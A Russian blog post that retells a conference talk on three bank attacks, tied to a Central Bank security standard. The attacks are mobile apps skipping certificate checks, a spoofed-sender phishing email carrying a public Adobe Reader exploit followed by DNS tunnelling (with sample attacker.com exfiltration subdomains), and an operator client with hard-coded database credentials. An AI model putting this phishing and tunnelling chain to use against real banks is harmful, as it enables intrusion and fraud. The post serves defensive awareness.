Не припоминаю я на Хабре статьи про атаки на банки. Никакой теории и фантазии, реальная практика и скрины :)
Немного введения. Не так давно я выступал на VI уральском форуме по информационной безопасности банков, где много внимания было уделено новому стандарту ЦБ РФ об обеспечении информационной безопасности банковских систем, на эту же тему был и мой доклад. В стандарте выделено 7 этапов жизни банковских систем (ПО), от написания ТЗ до снятия с эксплуатации. И схема моего доклада была следующей — рассказать некоторые реальные истории атак, проецируя их на новый стандарт от ЦБ, и показывая, как бы он (стандарт) мог «сломать» эти вектора, если бы банки его применяли. А на Хабре я опубликую пересказ своего выступления (осторожно, картинки!). Ах и да — вся информация предоставлена исключительно с целью ознакомления и не в коем случае не является руководством к действию.
История #1 — популярная, SSL'ная
Все мы знаем про SSL. Все sensetive данные должны передаваться через зашифрованные данные, в случае веба — это через HTTPS
Все мы знаем про этот целеный цвет в начале навигационного бара. Кому я рассказываю?
И в случае атаки «человек посередине» со «стрипом» (подменой) сертификата
Браузер у клиента ругнется на неверный сертификат
MitM гугла
«Покраснеет» и бар, и предупреждения будут во всё окно.
С банками тоже самое. Банк везде, где надо, прописал HTTPS для клиентов, везде они используют шифрованное соединение. И если будет перехват трафика — то клиент увидит предупреждение, данная техническая часть переходит на плечи разработчиков браузеров.
Но наступает момент, когда банк выпускает приложение под мобильные платформы. А вот тут уже проверка подобных вещей переходит на плечи разработчиков банковского клиента. Так как при такой же атаке — подмене сертификата между клиентом (мобильным приложением) и API банка может возникнуть ситуация, что сертификат не проверяется. Для атакующего атака проходит схожим образом
Логи SSLStrip
Как результат — злоумышленник может подменить транзакцию у клиента и увести деньги. Проблемы на этапах:
- Разработка ТЗ. ТЗ надо разрабатывать с учетом специфики ПО и знания будующей окружающей среды приложения, в т.ч. (а мы в данной статье только про это и говорим) с точки зрения безопасности;
- Создание и тестирование. Ну, тут понятно. Ошибка по факту была реализована при написании кода, а тесты её пропустили;
- Приемка и ввод в действие. В новом стандарте об этом сказано — вводите систему в действие — делайте пентесты.
P.S. А по хорошему, надо не только просто корректно проверять сертификат, а еще делать и SSL Pining — зашивать отпечаток сертификата банка в само приложение (и проверять!)
История #2 — хардкорная
Кажется, предыдущая история была слишком простой (хоть и популярной). Поэтому добавим технических приемов и поставим цель — проникнуть во внутреннюю сеть банка, т.е. получить подконтрольную машину. И не будем мудрить, идея вектора будет простой: заслать письмо со сплойтом и получить обратный шлюз.
Начинаем работу. Первое, собираем все доступные емейлы (через harvester, руками, как-то еще). Желательно найти почту сотрудников службы ИБ. Отправляем мы почту через SMTP протокол, который по своей архитектуре позволяет указывать любого отправителя. И получаем первый момент: отправлять мы письмо будем от службы безопасности банка оператору (стараясь увеличить уровень доверия).
Хорошо. Теперь надо подумать над вложением. Просто троян? Слишком просто. На помощь приходит доступный в паблике эксплойт — Adobe Acrobat Reader — ASLR/DEP Bypass Exploit with SANDBOX BYPASS, который аффектит сразу три ветки супер популярного ридера PDF и обходит всевозможные защиты. Вероятность, что именно он будет установлен в банке — очень велика.
1 — это мы, отправляем письмо, 2 — письмо доставляется до адресата, 3 — считаем, что адресат открыл письмо
Итак, мы на шаге 3. Скорее всего, мы попадем в DMZ, где не должно быть интернета как такового (или очень ограниченный). Второй момент — применяем DNS tunneling для обратного шлюза. Вкратце — если вы в сети, где нет «интернета», но при пинге какого-нибудь сайта его IP резолвится, например
Pinging somesite.ru [162.243.231.60] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.Это означает, что всё равно можно выбраться во внешнюю сеть. Часто встречается на практике в банках и во всяких отелях. Идея следующая — берется домен, который настраивается на свой специальный DNS сервер, который логирует к все обращения. Берутся данные и кодируются в поддомены этого домена. Грубый пример:
0x11112222222233333333.attacker.com
0x33333344444444445555.attacker.com
0x55555666666666777777.attacker.com
0x77777788888888999999.attacker.comDNS сервер их расшифровывает и отдает обратные команды. Задача решена — доступ в внутреннюю сеть получен :)
Проблемы на трёх этапах: приемка и ввод в действие, эксплуатация, сопровождение и модернизация — для атакующего чаще всего «смотрятся» как один — проблемы во внутренней инфраструктуре.
История #3 – тру-банковская
Если первые две истории можно спроецировать не только на банки, то третья специфична по своей сути (хотя, кто знает). Банки не так часто разрабатывают свое ПО, а часто покупают боксовые решения. На атаку одного из них от BSS и направлена следующая статья (оговорюсь сразу, об этом уже множество раз было рассказано, в т.ч. моим коллегой JRun на ZeroNights).
ДБО — это системы дистанционного банковского обслуживания. И их разделяют — на физ. лиц и на юр. лиц. И у вторых в этих системах есть возможность — направлять документы в банк (любые!).
Выглядит как-то так
Документ отправляется
Какой-нибудь наш документ после отправки
И приходит к оператору
У оператора специальное десктопное ПО для обработки подобных заявок
Он его открывает, и после этого на нашем счету 13 млрд рублей
Счет клиента, после того как оператор открыл вложение
WTF!?
Проблема архитектурная — ПО оператора устроено следующим образом: оно напрямую работает с БД SQL-запросами, и прямо в клиент зашивается логин: пароль для подключения к базе (да, они шифруются, но на общем ключе, который был успешно извлечен реверсом-инжинирингом ПО оператора). Интерфейс, логин/пароль самого оператора — лишь визуальные ограничения, которые можно просто выкинуть и подключиться SQL менеджером напрямую к базе.
Тут понятно, что главная проблема на этапе ТЗ и проектирования (ох, встречал я на Хабре статью, где автор в мобильном приложении также напрямую ходил в базу), но также на этапах создания, тестирования и ввода в действие. Да, архитектурная проблема, но можно ограничить запускаемые файлы на рабочей станции, в Windows сделать это не так сложно.
Думаю, на Хабре не так много банковских работников, но уверен, что и просто софтверным разработчикам/админам/тестерам было что почерпнуть :)
Автор: BeLove
